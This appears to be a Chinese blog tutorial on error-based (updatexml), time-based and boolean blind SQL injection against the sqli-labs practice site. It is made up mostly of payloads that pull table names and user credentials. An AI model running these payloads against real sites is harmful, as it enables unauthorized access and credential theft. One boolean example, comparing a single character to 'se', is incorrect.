sql盲注

一、updatexml报错注入

updatexml函数有三个参数,我们只需要知道它的第二个参数是需要一个xpath格式的值,不然它就会报错,其它两个参数可以随便填

以sqllibs靶场为例,报错数据库语句:

?id=1' and updatexml(0,concat(0x3a,database()),2)--+

 

用concat函数确保第二个参数不是xpath格式,concat函数中的0x3a在数据库中是一个冒号,这里也可以根据个人喜好更改。要想的到数据只需要将database()改为自己需要的就可以了,例如查询表名:

?id=1' and updatexml(0,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+

这里的group_concat函数是把查询到的数据都连接在一行输出,否则它会提示你返回的数据超过一行,或者可以使用limit函数做限制,不过要注意的是updatexml函数是有长度限制的,最多能返回32位的数据,所以如果长度太长就要用到substr函数,或者mid函数,例如查询user表中的用户名和密码:

?id=1' and updatexml(0,concat(0x3a,(select group_concat(concat_ws(0x3a,username,password)) from users)),3)--+

 

可以看出后面值并没有完全回显,用substr函数,第一个参数表示要截取的字符串,第二个表示开始截取位置,第三个表示截取位数

?id=1' and updatexml(0,substr(concat(0x3a,(select group_concat(concat_ws(0x3a,username,password)) from users)),1,32),3)--+

改变substr函数的开始截取位置

?id=1' and updatexml(0,substr(concat(0x3a,(select group_concat(concat_ws(0x3a,username,password)) from users)),32,32),3)--+

 

二、基于时间的盲注

基于时间盲注主要就是利用sleep函数,通过网站的延迟时间判断注入的内容正确性,但这种方法会受网络影响,可能会导致误判

以sqllibs靶场为例:

?id=1' and sleep(if(database()='security',5,1))--+

 

这里sleep函数用来延迟响应时间,如sleep(5)表示延迟5秒。if函数有三个参数第一个参数表示判断语句,结果位true返回第二个参数,false返回第三个参数。

如查表名用这种方式先判断表的个数表名长度,然后每次确定一个字母,最后得出结果

?id=1' and sleep(if((select count(table_name) from information_schema.tables where table_schema=database())=4,5,0))--+

得出表个数为4,用limit限制要爆破第几各表名,然后判断每个表名长度

?id=1' and sleep(if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6,5,0))--+

得出表长为6,再判断表名

?id=1' and sleep(if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a',5,0))--+

将a换为其它字母或数字,根据响应时间,爆出表名,其它的都是一个方法,就不多说了。这种方法一般不会手工操作,可以通过写脚本来跑,如果一定要手工的话可以把截取的字符串转换为ascii码采用二分法判断

三、布尔盲注

布尔盲注和上面所说的基于时间的盲注有点类似,只是有些时候无论你输入什么页面都没有变化,这时候就用时间盲注,如果输入的正确和错误页面有区别则可用布尔盲注,如sqllibs第五关:

?id=1' and 1=1--+

?id=1' and 1=2--+

 

 

可以看出页面有不同回显,但无论输入什么都这可能是这两种回显,这时候就可以用布尔盲注。如查数据库名:

?id=1' and substr(database(),1,1)='s'--+
?id=1' and substr(database(),1,1)='se'--+

查表名:

?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e'--+

 

其它和时间盲注大同小异

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值